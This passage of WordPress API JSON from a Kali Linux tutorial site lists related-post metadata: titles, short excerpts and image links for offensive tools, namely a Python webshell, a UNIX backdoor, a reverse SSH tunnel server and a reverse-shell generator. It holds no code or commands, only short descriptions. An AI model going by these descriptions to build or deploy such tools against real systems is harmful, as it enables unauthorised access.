Light Modes Dev It's recommended to use the netlify dev command\u2026","rel":"","context":"In &quot;Kali Linux&quot;","block_context":{"text":"Kali Linux","link":"https:\/\/kalilinuxtutorials.com\/category\/kali\/"},"img":{"alt_text":"","src":"","width":0,"height":0},"classes":[]},{"id":23816,"url":"https:\/\/kalilinuxtutorials.com\/pyshell\/","url_meta":{"origin":17474,"position":2},"title":"PyShell : Multiplatform Python WebShell","author":"R K","date":"April 8, 2022","format":false,"excerpt":"PyShell\u00a0is Multiplatform Python WebShell. This tool helps you to obtain a shell-like interface on a web server to be remotely accessed. Unlike other webshells, the main goal of the tool is to use as little code as possible on the server side, regardless of the language used or the operating\u2026","rel":"","context":"In &quot;Kali Linux&quot;","block_context":{"text":"Kali Linux","link":"https:\/\/kalilinuxtutorials.com\/category\/kali\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEgmDMZf4hRiZGa-gSAnzfb5yxaGfkZpljCgGGCItBztheqINHxx85OgZxPN2UdZdPQnU_yFLvmPrPwR0XJiBVmrC_KRsohZvd0bVsjuwSqtxGWohUM4OXl-rgF3gsUSJzL69c80lJAy1QBzUU3gTLqXi2__cMfJTJ4nKryoE3Dl_rrQvpjHhj9Hsnm1\/s728\/PyShell%20logo%20%281%29.png?resize=350%2C200&ssl=1","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEgmDMZf4hRiZGa-gSAnzfb5yxaGfkZpljCgGGCItBztheqINHxx85OgZxPN2UdZdPQnU_yFLvmPrPwR0XJiBVmrC_KRsohZvd0bVsjuwSqtxGWohUM4OXl-rgF3gsUSJzL69c80lJAy1QBzUU3gTLqXi2__cMfJTJ4nKryoE3Dl_rrQvpjHhj9Hsnm1\/s728\/PyShell%20logo%20%281%29.png?resize=350%2C200&ssl=1 1x, https:\/\/i0.wp.com\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEgmDMZf4hRiZGa-gSAnzfb5yxaGfkZpljCgGGCItBztheqINHxx85OgZxPN2UdZdPQnU_yFLvmPrPwR0XJiBVmrC_KRsohZvd0bVsjuwSqtxGWohUM4OXl-rgF3gsUSJzL69c80lJAy1QBzUU3gTLqXi2__cMfJTJ4nKryoE3Dl_rrQvpjHhj9Hsnm1\/s728\/PyShell%20logo%20%281%29.png?resize=525%2C300&ssl=1 1.5x, https:\/\/i0.wp.com\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEgmDMZf4hRiZGa-gSAnzfb5yxaGfkZpljCgGGCItBztheqINHxx85OgZxPN2UdZdPQnU_yFLvmPrPwR0XJiBVmrC_KRsohZvd0bVsjuwSqtxGWohUM4OXl-rgF3gsUSJzL69c80lJAy1QBzUU3gTLqXi2__cMfJTJ4nKryoE3Dl_rrQvpjHhj9Hsnm1\/s728\/PyShell%20logo%20%281%29.png?resize=700%2C400&ssl=1 2x"},"classes":[]},{"id":18871,"url":"https:\/\/kalilinuxtutorials.com\/jadedwraith\/","url_meta":{"origin":17474,"position":3},"title":"JadedWraith : Light-weight UNIX Backdoor","author":"R K","date":"October 5, 2021","format":false,"excerpt":"JadedWraith is a Lightweight UNIX backdoor for ethical hacking. Useful for red team engagements and CTFs. Something I wrote a few years ago as part of a game I was playing with a friend to try to backdoor as many VMs in each other's labs without being caught or having\u2026","rel":"","context":"In &quot;Kali Linux&quot;","block_context":{"text":"Kali Linux","link":"https:\/\/kalilinuxtutorials.com\/category\/kali\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/1.bp.blogspot.com\/-tk7TDPJebwI\/YVHYVQZsnRI\/AAAAAAAAK-Y\/p-WZ73KHWa894jnDmjlmDLTcck6SHkgawCLcBGAsYHQ\/s687\/backdoor%2B%25281%2529.png?resize=350%2C200&ssl=1","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/1.bp.blogspot.com\/-tk7TDPJebwI\/YVHYVQZsnRI\/AAAAAAAAK-Y\/p-WZ73KHWa894jnDmjlmDLTcck6SHkgawCLcBGAsYHQ\/s687\/backdoor%2B%25281%2529.png?resize=350%2C200&ssl=1 1x, https:\/\/i0.wp.com\/1.bp.blogspot.com\/-tk7TDPJebwI\/YVHYVQZsnRI\/AAAAAAAAK-Y\/p-WZ73KHWa894jnDmjlmDLTcck6SHkgawCLcBGAsYHQ\/s687\/backdoor%2B%25281%2529.png?resize=525%2C300&ssl=1 1.5x"},"classes":[]},{"id":30985,"url":"https:\/\/kalilinuxtutorials.com\/sshimpanzee\/","url_meta":{"origin":17474,"position":4},"title":"Sshimpanzee &#8211; Unleashing Advanced Reverse SSH Tunnels For Security Professionals","author":"Varshini","date":"October 24, 2023","format":false,"excerpt":"Sshimpanzee\u00a0allows you to build a\u00a0static\u00a0reverse\u00a0ssh server. Instead of listening on a port and waiting for connections, the ssh server will initiate a reverse connect to attacker's ip, just like a regular reverse shell.\u00a0 Sshimpanzee\u00a0allows you to take advantage of\u00a0every features of a regular ssh\u00a0connection, like\u00a0port forwards, dynamic socks proxies, or\u2026","rel":"","context":"In &quot;Cyber security&quot;","block_context":{"text":"Cyber security","link":"https:\/\/kalilinuxtutorials.com\/category\/cyber-security\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEh1w9siyhxNkxEO7pbQVVjb_PgGx09JEsXw_6GPBV6aG8O85FUqpIYj0eebPnU9H1OMF_Fw8tn0w3d16V03UInB20ku5tj5LyKmT8K26TtDWgewHf2-fhDnCd-sdhmu9V4FvfqoBeoO9MjoBEI4M32cQnYr3BFNZNZgzwWOOW_QkdNABxkg9GP2XP6zTA\/s16000\/Sshimpanzee%20.webp?resize=350%2C200&ssl=1","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEh1w9siyhxNkxEO7pbQVVjb_PgGx09JEsXw_6GPBV6aG8O85FUqpIYj0eebPnU9H1OMF_Fw8tn0w3d16V03UInB20ku5tj5LyKmT8K26TtDWgewHf2-fhDnCd-sdhmu9V4FvfqoBeoO9MjoBEI4M32cQnYr3BFNZNZgzwWOOW_QkdNABxkg9GP2XP6zTA\/s16000\/Sshimpanzee%20.webp?resize=350%2C200&ssl=1 1x, https:\/\/i0.wp.com\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEh1w9siyhxNkxEO7pbQVVjb_PgGx09JEsXw_6GPBV6aG8O85FUqpIYj0eebPnU9H1OMF_Fw8tn0w3d16V03UInB20ku5tj5LyKmT8K26TtDWgewHf2-fhDnCd-sdhmu9V4FvfqoBeoO9MjoBEI4M32cQnYr3BFNZNZgzwWOOW_QkdNABxkg9GP2XP6zTA\/s16000\/Sshimpanzee%20.webp?resize=525%2C300&ssl=1 1.5x, https:\/\/i0.wp.com\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEh1w9siyhxNkxEO7pbQVVjb_PgGx09JEsXw_6GPBV6aG8O85FUqpIYj0eebPnU9H1OMF_Fw8tn0w3d16V03UInB20ku5tj5LyKmT8K26TtDWgewHf2-fhDnCd-sdhmu9V4FvfqoBeoO9MjoBEI4M32cQnYr3BFNZNZgzwWOOW_QkdNABxkg9GP2XP6zTA\/s16000\/Sshimpanzee%20.webp?resize=700%2C400&ssl=1 2x"},"classes":[]},{"id":25408,"url":"https:\/\/kalilinuxtutorials.com\/gosh\/","url_meta":{"origin":17474,"position":5},"title":"GoSH : Golang Reverse\/Bind Shell Generator","author":"R K","date":"June 21, 2022","format":false,"excerpt":"GoSH is a tool that generates a Go binary that launches a shell of the desired type on the targeted host. The shell binary can be compiled for multiple platforms, supports partial polymorphism (unique functions' names) and can use UDP protocol instead of the default TCP. If you send a\u00a0DELETE\u00a0command\u2026","rel":"","context":"In &quot;Kali Linux&quot;","block_context":{"text":"Kali Linux","link":"https:\/\/kalilinuxtutorials.com\/category\/kali\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEgbB48LGGxxJNC_xi4rkQKILloXDzMnfcbh4oCGowh1AhR3y4yduSBASTZyCmDgtUEn4x5pPrkfkmHfE5JF4rjY-wVqivSsmOepyXks8KMHzHTktL2AbNvkcJmwaZgrEZa6tFM6D7_4MAeTEfWDK6foIDfEYR1Ms6RVnDAjMCQrP4mazum0G0uWK6XJ\/s728\/download%20%281%29.png?resize=350%2C200&ssl=1","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEgbB48LGGxxJNC_xi4rkQKILloXDzMnfcbh4oCGowh1AhR3y4yduSBASTZyCmDgtUEn4x5pPrkfkmHfE5JF4rjY-wVqivSsmOepyXks8KMHzHTktL2AbNvkcJmwaZgrEZa6tFM6D7_4MAeTEfWDK6foIDfEYR1Ms6RVnDAjMCQrP4mazum0G0uWK6XJ\/s728\/download%20%281%29.png?resize=350%2C200&ssl=1 1x, https:\/\/i0.wp.com\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEgbB48LGGxxJNC_xi4rkQKILloXDzMnfcbh4oCGowh1AhR3y4yduSBASTZyCmDgtUEn4x5pPrkfkmHfE5JF4rjY-wVqivSsmOepyXks8KMHzHTktL2AbNvkcJmwaZgrEZa6tFM6D7_4MAeTEfWDK6foIDfEYR1Ms6RVnDAjMCQrP4mazum0G0uWK6XJ\/s728\/download%20%281%29.png?resize=525%2C300&ssl=1 1.5x, https:\/\/i0.wp.com\/blogger.googleusercontent.com\/img\/b\/R29vZ2xl\/AVvXsEgbB48LGGxxJNC_xi4rkQKILloXDzMnfcbh4oCGowh1AhR3y4yduSBASTZyCmDgtUEn4x5pPrkfkmHfE5JF4rjY-wVqivSsmOepyXks8KMHzHTktL2AbNvkcJmwaZgrEZa6tFM6D7_4MAeTEfWDK6foIDfEYR1Ms6RVnDAjMCQrP4mazum0G0uWK6XJ\/s728\/download%20%281%29.png?resize=700%2C400&ssl=1 2x"},"classes":[]}],"_links":{"self":[{"href":"https:\/\/kalilinuxtutorials.com\/wp-json\/wp\/v2\/posts\/17474","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/kalilinuxtutorials.com\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kalilinuxtutorials.com\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kalilinuxtutorials.com\/wp-json\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/kalilinuxtutorials.com\/wp-json\/wp\/v2\/comments?post=17474"}],"version-history":[{"count":0,"href":"https:\/\/kalilinuxtutorials.com\/wp-json\/wp\/v2\/posts\/17474\/revisions"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/kalilinuxtutorials.com\/wp-json\/wp\/v2\/media\/15929"}],"wp:attachment":[{"href":"https:\/\/kalilinuxtutorials.com\/wp-json\/wp\/v2\/media?parent=17474"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kalilinuxtutorials.com\/wp-json\/wp\/v2\/categories?post=17474"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kalilinuxtutorials.com\/wp-json\/wp\/v2\/tags?post=17474"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}